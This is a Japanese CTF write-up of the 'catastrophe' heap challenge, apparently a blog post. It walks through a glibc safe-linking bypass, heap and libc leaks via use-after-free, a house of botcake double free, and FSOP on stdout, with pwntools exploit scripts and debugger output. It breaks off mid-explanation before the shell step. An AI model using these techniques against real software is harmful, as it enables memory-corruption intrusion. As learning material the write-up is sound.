🐙

dicectf2022-catastrophe

2023/08/14に公開

heap問の勉強に過去問を解きました。
競技中は問題バイナリとlibcが配布されていたようですが、今回はソースコード見ながら解きました。

また、詰まって部分でWriteupを見ています。
※というかほぼ見ました

作問者様のリポジトリ:
https://github.com/dicegang/hope-2022-challenges/tree/master/pwn/catastrophe/bin

バイナリの挙動とか

ソースコード
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>
#include <string.h>

#define NUM_CHONKS 10

char *chonks[NUM_CHONKS];

uint64_t get_number() {
  char buf[16];
  printf("> ");
  fgets(buf, sizeof(buf), stdin);
  return strtoull(buf, NULL, 10);
}

uint64_t get_index() {
  uint64_t num = 0;
  while ((num = get_number()) >= NUM_CHONKS) {
    puts("Invalid!");
  }
  return num;
}

void print_menu() {
  puts("--- menu ---");
  puts("1) malloc");
  puts("2) free");
  puts("3) view");
  puts("4) leave");
  puts("------------");
}

void op_malloc() {
  puts("Index?");
  uint64_t idx = get_index();
  puts("Size?");
  uint64_t size = get_number();
  if (size < 1 || size > 0x200) {
    puts("Interesting...");
    return;
  }
  chonks[idx] = malloc(size);
  printf("Enter content: ");
  fgets(chonks[idx], size, stdin);
}

void op_free() {
  puts("Index?");
  uint64_t idx = get_index();
  free(chonks[idx]);
}

void op_view() {
  puts("Index?");
  uint64_t idx = get_index();
  puts(chonks[idx]);
}

int main() {
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  while (1) {
    print_menu();
    switch (get_number()) {
      case 1:
        op_malloc();
        break;
      case 2:
        op_free();
        break;
      case 3:
        op_view();
        break;
      case 4:
        puts("Bye!");
        exit(0);
      default:
        puts("Invalid choice!");
    }
    printf("\n");
  }
}

問題バイナリは64bit ELFでセキュリティ緩和機構はすべて有効でした。

$ file catastrophe
catastrophe: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=18ce57260a9d3b5b5e79e395d839a4c00235c545, for GNU/Linux 3.2.0, not stripped

$ checksec catastrophe
[*] '/home/ubuntu/workspace/ctf/dicectf2022/catastrophe'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

このバイナリには一般的なheap問同様にmalloc,free,viewをする機能があります。
また、freeした後のchunkをviewできるuafがあります。

Safe-linking

glibc2.32以降のバージョンではsafe-linkingという機能が実装されています。
本問を解くにあたりこれをbypassする必要があるのでsafe-linkingについて書いてみます。
※誤りがあればご指摘ください

safe-linkingはチェインされるポインタに対してPROTECT_PTRというマクロで以下のような加工をします。

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

参照:
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/malloc/malloc.c#L328

実際に確認してみます。

以下は問題バイナリで2回mallocしたあと2回freeした際のtcacheとheapの様子です。

pwndbg> bins
tcachebins
0x20 [  2]: 0x5555555592a0 —▸ 0x5555555592c0 ◂— 0x0
0x555555559290  0x0000000000000000      0x0000000000000021      ........!.......
0x5555555592a0  0x000055500000c799      0x6e42348ed766921a      ....PU....f..4Bn         <-- tcachebins[0x20][0/2]
0x5555555592b0  0x0000000000000000      0x0000000000000021      ........!.......
0x5555555592c0  0x0000000555555559      0x6e42348ed766921a      YUUU......f..4Bn         <-- tcachebins[0x20][1/2]
0x5555555592d0  0x0000000000000000      0x0000000000020d31      ........1.......         <-- Top chunk

0x5555555592a0には0x000055500000c799が格納されています。
safe-linkingのマクロの通りになっているか確認します。

pwndbg> p/x (0x5555555592a0 >>12) ^ 0x5555555592c0
$1 = 0x55500000c799

当然かもしれませんがマクロの通りになっているのがわかります。
復元する際にはREVEAL_PTRで実装されています。
※REVEAL_PTRではPROTECT_PTRがそのまま利用されています。
こちらも試してみます。
復元の際にはsafe-linkingで加工されたポインタを、格納しているアドレスを右に12bitシフトしたもので排他的論理和を取ればよいです。

pwndbg> p/x (0x5555555592a0 >>12) ^ 0x55500000c799
$2 = 0x5555555592c0

こちらもマクロの通りになりました。

heap leak

上記のsafe-linkingをバイパスするためにはheapアドレスをリークする必要があります。
heapのアドレスがリークできれば格納したいポインタと、リークしたアドレスを右に12bitシフトした値で排他的論理和を取ればこれをバイパスできます。

tcacheに最初につながれたchunkのfdをリークします。
tcacheに最初につながれるchunkのfdに入る値は0で排他的論理和を取るためです。
safe-linkingではpositionの下位3nibleは使われないためこの値をリークできればバイパスが可能です。

pwndbg> p/x (0x5555555592c0 >> 12) ^ 0
$3 = 0x555555559

以下のスクリプトでheapアドレスをリークしてみます。

heapリークスクリプト
from pwn import *


def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *op_view
b *op_malloc
b *op_malloc+102
b *op_free
continue
'''.format(**locals())


exe = "./catastrophe"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
libc = ELF("./libc.so.6",checksec=False)


def menu(io,select):
    io.sendlineafter(b"menu",select)

def malloc(io,idx,size,data):
    menu(io,b"1")
    io.sendlineafter(b"Index?",str(idx).encode())
    io.sendlineafter(b"Size?",str(size).encode())
    io.sendlineafter(b"Enter content:",data)

def free(io,idx):
    menu(io,b"2")
    io.sendlineafter(b"Index?",str(idx).encode())
    
def view(io,idx):
    menu(io,b"3")
    io.sendlineafter(b"Index?",str(idx).encode())

def leave(io):
    menu(io,b"4")

def safe_linking(addr,heap_base):
    return p64(addr ^ (heap_base >> 12))

io = start()


malloc(io, 0, 0x10,"AAA")
free(io,0)
view(io,0)

io.recvuntil(b"> ")
heap_base = u64(io.recv(5).ljust(8,b"\x00")) <<12
info("heap_base %#x",heap_base)


io.interactive()
[DEBUG] Received 0x46 bytes:
    00000000  9f e3 92 59  05 0a 0a 2d  2d 2d 20 6d  65 6e 75 20  │···Y│···-│-- m│enu │
    00000010  2d 2d 2d 0a  31 29 20 6d  61 6c 6c 6f  63 0a 32 29  │---·│1) m│allo│c·2)│
    00000020  20 66 72 65  65 0a 33 29  20 76 69 65  77 0a 34 29  │ fre│e·3)│ vie│w·4)│
    00000030  20 6c 65 61  76 65 0a 2d  2d 2d 2d 2d  2d 2d 2d 2d  │ lea│ve·-│----│----│
    00000040  2d 2d 2d 0a  3e 20                                  │---·│> │
    00000046
[*] heap_base 0x55992e39f000
[*] Switching to interactive mode

0x55992e39f000が出力されました。
このアドレスはfree chunkのfdであることを確認します。

0x55992e39f290  0x0000000000000000      0x0000000000000021      ........!.......
0x55992e39f2a0  0x000000055992e39f      0xc1ece41dc2e4d7db      ...Y............         <-- tcachebins[0x20][0/1]
0x55992e39f2b0  0x0000000000000000      0x0000000000020d51

目論見通り、fdの値をリークできました。

libc leak

次にlibcのアドレスをリークします。
これにはunsorted binに最初につながれたchunkのfdをリークすればよいです。

unsorted binにチェインするためにはtcacheを満たした後で、fastbinに入らないサイズのchunkをfreeします。

fastbinに入る最大のサイズはglobal_max_fastで定義されています。
これはset_max_fastというマクロによってセットされます。
この関数の引数はDEFAULT_MXFASTが設定されており、この値は128(0x80)が設定されています。
以下にset_max_fastやglobal_max_fast周りの挙動を記載しておきます。

global_max_fast周りの挙動

https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/malloc/malloc.c#L1773

#define set_max_fast(s) \
  global_max_fast = (((size_t) (s) <= MALLOC_ALIGN_MASK - SIZE_SZ)	\
                     ? MIN_CHUNK_SIZE / 2 : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))

static inline INTERNAL_SIZE_T
get_max_fast (void)
{
  /* Tell the GCC optimizers that global_max_fast is never larger
     than MAX_FAST_SIZE.  This avoids out-of-bounds array accesses in
     _int_malloc after constant propagation of the size parameter.
     (The code never executes because malloc preserves the
     global_max_fast invariant, but the optimizers may not recognize
     this.)  */
  if (global_max_fast > MAX_FAST_SIZE)
    __builtin_unreachable ();
  return global_max_fast;
}

set_max_fastのコール先
DEFAULT_MXFASTが引数としてセットされる。

https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/malloc/malloc.c#L1948C1-L1951C35

#endif
  set_noncontiguous (av);
  if (av == &main_arena)
    set_max_fast (DEFAULT_MXFAST);

DEFAULT_MXFASTの定義。

#define DEFAULT_MXFAST     (64 * SIZE_SZ / 4)

SIZE_SZ,MALLOC_ALIGNMENTの定義
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/sysdeps/generic/malloc-size.h#L2

#ifndef INTERNAL_SIZE_T
# define INTERNAL_SIZE_T size_t
#endif

/* The corresponding word size.  */
#define SIZE_SZ (sizeof (INTERNAL_SIZE_T))

#include <malloc-alignment.h>

/* The corresponding bit mask value.  */
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

MALLOC_ALIGNMENTの定義
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/sysdeps/generic/malloc-alignment.h#L4

#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \
			  ? __alignof__ (long double) : 2 * SIZE_SZ)
fastbinに入るsizeのチェック

上記に記載した通り、0x80以上のサイズのchunkをfreeすればfastbinに入ることはありません。

そのためtcacheを満たし、TOPに併合されないように0x80以上のchunkをfreeします。
以下を実行します。

libc leak(heapleakとの差分のみ)
for i in range(7):
    malloc(io,i,0x100,b"AAA")

malloc(io,7,0x100,b"AAA")
malloc(io,8,0x100,b"AAA")

for i in range(7):
    free(io,i)

free(io,7)
view(io,7)

io.recvuntil(b"> ")
libc_leak = u64(io.recv(6).ljust(8,b"\x00")) - 0x219ce0 
info("libc_leak %#x",libc_leak)
io.interactive()

以下が結果です。
狙い通りlibcのアドレスをリークできました。

[DEBUG] Received 0x47 bytes:
    00000000  e0 4c 47 1a  72 7f 0a 0a  2d 2d 2d 20  6d 65 6e 75  │·LG·│r···│--- │menu│
    00000010  20 2d 2d 2d  0a 31 29 20  6d 61 6c 6c  6f 63 0a 32  │ ---│·1) │mall│oc·2│
    00000020  29 20 66 72  65 65 0a 33  29 20 76 69  65 77 0a 34  │) fr│ee·3│) vi│ew·4│
    00000030  29 20 6c 65  61 76 65 0a  2d 2d 2d 2d  2d 2d 2d 2d  │) le│ave·│----│----│
    00000040  2d 2d 2d 2d  0a 3e 20                               │----│·> │
    00000047
[*] libc_leak 0x7f721a25b000
[*] Switching to interactive mode

stack leak

ここまででheap_leakおよびlibc_leakができました。
あとはシェルを取るだけです。
今回はstackアドレスをリークしop_mallocからリターンする際のsaved_ripを上書きしよと思います。

libc_environをからstackアドレスをリークさせようと思いますが、今回はmallocする際にしか書き込みができないため工夫が必要です。

今回はhouse_of_botcakeという方法を使ってみます。
以下のブログを参考にさせていただきました。
参考:https://smallkirby.hatenablog.com/entry/2020/03/18/043236

この方法ではchunkの統合を利用してtcache binでdouble freeを発生させます。

方法については上記の記事にある通り、tcacheを満たした後、unsoted binにchunkをチェインさせ、その後freeさせることで統合を発生させます。

以下にこの際のスクリプトを示します。
※このあとの過程でstdoutでfdを上書きする必要があるのでこれを設定しています。

botcaketest
io = start()


malloc(io, 0, 0x10,"AAA")
free(io,0)
view(io,0)

io.recvuntil(b"> ")
heap_base = u64(io.recv(5).ljust(8,b"\x00")) <<12
info("heap_base %#x",heap_base)

for i in range(7):
    malloc(io,i,0x100,b"AAA")

malloc(io,7,0x100,b"AAA")
malloc(io,8,0x100,b"BBB")

#topに併合されないように確保する必要がある
malloc(io,9,0x100,b"AAA")

for i in range(7):
    free(io,i)

free(io,7)
view(io,7)


io.recvuntil(b"> ")
libc_leak = u64(io.recv(6).ljust(8,b"\x00")) - 0x219ce0 
info("libc_leak %#x",libc_leak)

libc.address = libc_leak
binsh = next(libc.search(b"/bin/sh\x00"))
environ = libc.address + 0x221200 
stdout = libc.address + 0x21a780

info("environ: %#x", environ)
info("stdout: %#x", stdout)


free(io,8)

malloc(io,0,0x100,b"CCC")

free(io,8)


payload = flat(
    b"D" * 0x108, 0x111, stdout ^ ((heap_base >> 12 ))#+ 0xb20) >> 12),    
)

malloc(io,1,0x130,payload)

malloc(io,2,0x100,b"CCC")

malloc(io, 3, 0x100,b"test")

以下は1度目にfree(io,8)する際のbinsの様子です。

 0x55b98631746d <op_free+64>    call   free@plt                <free@plt>
        ptr: 0x55b9873ddb40 ◂— 0xa424242 /* 'BBB\n' */

pwndbg> bins
tcachebins
0x20 [  1]: 0x55b9873dd2a0 ◂— 0x0
0x110 [  7]: 0x55b9873dd920 —▸ 0x55b9873dd810 —▸ 0x55b9873dd700 —▸ 0x55b9873dd5f0 —▸ 0x55b9873dd4e0 —▸
 0x55b9873dd3d0 —▸ 0x55b9873dd2c0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55b9873dda20 —▸ 0x7f01c7d9fce0 (main_arena+96) ◂— 0x55b9873dda20
smallbins
empty
largebins
empty

0x000055b9873ddb40がfreeされますが、これはunsortedbinのchunkと統合されます。
以下はfree直後のheapの様子です。

0x55b9873dda20  0x0000000000000000      0x0000000000000221      ........!.......         <-- unsortedbin[all][0]
0x55b9873dda30  0x00007f01c7d9fce0      0x00007f01c7d9fce0      ................
0x55b9873dda40  0x0000000000000000      0x0000000000000000      ................
0x55b9873dda50  0x0000000000000000      0x0000000000000000      ................
0x55b9873dda60  0x0000000000000000      0x0000000000000000      ................
0x55b9873dda70  0x0000000000000000      0x0000000000000000      ................
0x55b9873dda80  0x0000000000000000      0x0000000000000000      ................
0x55b9873dda90  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddaa0  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddab0  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddac0  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddad0  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddae0  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddaf0  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddb00  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddb10  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddb20  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddb30  0x0000000000000110      0x0000000000000110      ................
0x55b9873ddb40  0x000000000a424242      0x0000000000000000      BBB.............
0x55b9873ddb50  0x0000000000000000      0x0000000000000000      ................

本バイナリにはchonksという配列にmallocで確保したアドレスを格納しています。
heapやlibcをリークした時のようにuafがあるのでこれらは再利用できます。

freeした0x000055b9873ddb40はindex 8の位置に格納されています。

0x55b98631a0a0 <chonks+64>:     0x000055b9873ddb40

次にmalloc(io,0,0x100,b"CCC")すると、tcacheにチェインされているアドレスが確保されます。

その後free(io,8)すると0x000055b9873ddb40がfreeされます。
tcacheではkeyという値を使ってdouble freeを検知しますが、統合されてしまっているため本来keyが入る値には何も入っていません。よって検知をすり抜けてしまいdouble freeができます。

以下はその際のheapと各binsの様子です。

0x55b9873dda20  0x0000000000000000      0x0000000000000221      ........!.......         <-- unsortedbin[all][0]
0x55b9873dda30  0x00007f01c7d9fce0      0x00007f01c7d9fce0      ................
0x55b9873dda40  0x0000000000000000      0x0000000000000000      ................
0x55b9873dda50  0x0000000000000000      0x0000000000000000      ................
0x55b9873dda60  0x0000000000000000      0x0000000000000000      ................
0x55b9873dda70  0x0000000000000000      0x0000000000000000      ................
0x55b9873dda80  0x0000000000000000      0x0000000000000000      ................
0x55b9873dda90  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddaa0  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddab0  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddac0  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddad0  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddae0  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddaf0  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddb00  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddb10  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddb20  0x0000000000000000      0x0000000000000000      ................
0x55b9873ddb30  0x0000000000000110      0x0000000000000110      ................
0x55b9873ddb40  0x000055bcdca5abcd      0xe7288b41e629341b      .....U...4).A.(.         <-- tcachebins[0x110][0/7]
0x55b9873ddb50  0x0000000000000000      0x0000000000000000
pwndbg> bins
tcachebins
0x20 [  1]: 0x55b9873dd2a0 ◂— 0x0
0x110 [  7]: 0x55b9873ddb40 —▸ 0x55b9873dd810 —▸ 0x55b9873dd700 —▸ 0x55b9873dd5f0 —▸ 0x55b9873dd4e0 —▸
 0x55b9873dd3d0 —▸ 0x55b9873dd2c0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55b9873dda20 —▸ 0x7f01c7d9fce0 (main_arena+96) ◂— 0x55b9873dda20
smallbins
empty
largebins
empty

tcacheにはfreeした0x55b9873ddb40がチェインされており、これはunsortedbinにチェインされている0x55b9873dda20の範囲と重複しています。
あとはunsorted binからアドレスを取得するようにmallocしたうえでtcache binのヘッダを上書きすればfdを任意の値に設定できます。

その際のダンプを以下に示します。
※アドレスがASLRによって変わってます…

x55de8fa08a20  0x0000000000000000      0x0000000000000141      ........A.......
0x55de8fa08a30  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08a40  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08a50  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08a60  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08a70  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08a80  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08a90  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08aa0  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08ab0  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08ac0  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08ad0  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08ae0  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08af0  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08b00  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08b10  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08b20  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55de8fa08b30  0x4444444444444444      0x0000000000000111      DDDDDDDD........
0x55de8fa08b40  0x00007fe41023ad88      0x7385e13c855c000a      ..#.......\.<..s         <-- tcachebins[0x110][0/7]
0x55de8fa08b50  0x0000000000000000      0x0000000000000000      ................
0x55de8fa08b60  0x0000000000000000
pwndbg> bins
tcachebins
0x20 [  1]: 0x55de8fa082a0 ◂— 0x0
0x110 [  7]: 0x55de8fa08b40 —▸ 0x7fe14dcb5780 (_IO_2_1_stdout_) ◂— 0x705b9f432

tcachebinsに上書きした_IO_2_1_stdout_の値が入っています。
あとは再度mallocした後、もう一度mallocすることでAAW(Arbitrary Address Write)ができます。

fsop

上記まででaawが可能になりました。
今回はstackアドレスをリークさせるのにFSOP(File Stream Oriented Programming)を用い体と思います。

問題バイナリではop_mallocの後、putchar("\n");がコールされます。
この際の出力を_IO_FILE構造体を操作することによってstackアドレスをリークさせます。

FSOP関連 ソースコード
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/putchar.c#L24

putchar (int c)
{
  int result;
  _IO_acquire_lock (stdout);
  result = _IO_putc_unlocked (c, stdout);
  _IO_release_lock (stdout);
  return result;
}
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/libio.h#L169
#define _IO_putc_unlocked(_ch, _fp) __putc_unlocked_body (_ch, _fp)
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/bits/types/struct_FILE.h#L106

#define __putc_unlocked_body(_ch, _fp)					\
  (__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end)	\
   ? __overflow (_fp, (unsigned char) (_ch))				\
   : (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/genops.c#L198
int
__overflow (FILE *f, int ch)
{
  /* This is a single-byte stream.  */
  if (f->_mode == 0)
    _IO_fwide (f, -1);
  return _IO_OVERFLOW (f, ch);
}
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/fileops.c#L730
int
_IO_new_file_overflow (FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_IO_write_base == NULL)
	{
	  _IO_doallocbuf (f);
	  _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
	}
      /* Otherwise must be currently reading.
	 If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
	 logically slide the buffer forwards one block (by setting the
	 read pointers to all point at the beginning of the block).  This
	 makes room for subsequent output.
	 Otherwise, set the read pointers to _IO_read_end (leaving that
	 alone, so it can continue to correspond to the external position). */
      if (__glibc_unlikely (_IO_in_backup (f)))
	{
	  size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
	  _IO_free_backup_area (f);
	  f->_IO_read_base -= MIN (nbackup,
				   f->_IO_read_base - f->_IO_buf_base);
	  f->_IO_read_ptr = f->_IO_read_base;
	}

      if (f->_IO_read_ptr == f->_IO_buf_end)
	f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
      f->_IO_write_ptr = f->_IO_read_ptr;
      f->_IO_write_base = f->_IO_write_ptr;
      f->_IO_write_end = f->_IO_buf_end;
      f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

      f->_flags |= _IO_CURRENTLY_PUTTING;
      if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
	f->_IO_write_end = f->_IO_write_ptr;
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
			 f->_IO_write_ptr - f->_IO_write_base);
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
		      f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}

https://github.com/bminor/glibc/blob/master/libio/libioP.h#L556
#define _IO_do_flush(_f) \
  ((_f)->_mode <= 0							      \
   ? _IO_do_write(_f, (_f)->_IO_write_base,				      \
		  (_f)->_IO_write_ptr-(_f)->_IO_write_base)		      \
   : _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base,		      \
		   ((_f)->_wide_data->_IO_write_ptr			      \
		    - (_f)->_wide_data->_IO_write_base)))
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
  size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      off64_t new_pos
	= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
	return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
		       && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
		       ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

_IO_FILE構造体
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/bits/types/struct_FILE.h#L49

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/libio.h#L66
#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

putcharがコールされると以下の条件が真なら__overflowがコールされます。

(__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end)
? __overflow (_fp, (unsigned char) (_ch))

引数は以下のように設定されています。

0x7f0022cdda72 <putchar+114>    call   __overflow                <__overflow>
        arg0: 0x7f0022e75780 (_IO_2_1_stdout_) ◂— 0xfbad2887
        arg1: 0xa

__overflowからは_IO_file_overflowにジャンプします。
この関数内ではfp->flagに_IO_CURRENTLY_PUTTINGが立っているかつ、chがEOFでなく、f->_IO_write_ptr == f->_IO_buf_endが同一であれば_IO_do_writeがコールされます。

※参照https://github.com/bminor/glibc/blob/4290aed05135ae4c0272006442d147f2155e70d7/libio/fileops.c#L739

※_IO_do_flushマクロにて、引数のファイル構造体のmodeが0以下であれば_IO_do_writeがコールされます。

 0x7fc25b657f66 <_IO_file_overflow+294>    test   eax, eax
   0x7fc25b657f68 <_IO_file_overflow+296>    jle    _IO_file_overflow+384                <_IO_file_overflow+384>
    ↓
   0x7fc25b657fc0 <_IO_file_overflow+384>    sub    rdx, rsi
   0x7fc25b657fc3 <_IO_file_overflow+387>    mov    rdi, rbp
   0x7fc25b657fc6 <_IO_file_overflow+390>    call   _IO_do_write

この時の引数は以下の通りです。

  • rdi: stdout(file構造体)
  • rsi: _IO_write_base
  • rdx: _IO_write_ptr - _IO_write_base

_IO_do_write関数内では_IO_file_writeがコールされます。

 0x7f49078fba5d <_IO_do_write+173>    call   qword ptr [r14 + 0x78]        <_IO_file_write>
        rdi: 0x7f4907a89780 (_IO_2_1_stdout_) ◂— 0xfbad1800
        rsi: 0x7f4907a90200 (environ) —▸ 0x7ffd17364528 —▸ 0x7ffd1736529d ◂— 'SHELL=/bin/bash'
        rdx: 0x8
        rcx: 0xc00

この関数は_IO_new_file_writeとして定義されており、内部的にwriteをコールしています。

ssize_t
_IO_new_file_write (FILE *f, const void *data, ssize_t n)
{
  ssize_t to_do = n;
  while (to_do > 0)
    {
      ssize_t count = (__builtin_expect (f->_flags2
                                         & _IO_FLAGS2_NOTCANCEL, 0)
			   ? __write_nocancel (f->_fileno, data, to_do)
			   : __write (f->_fileno, data, to_do));
      if (count < 0)
	{
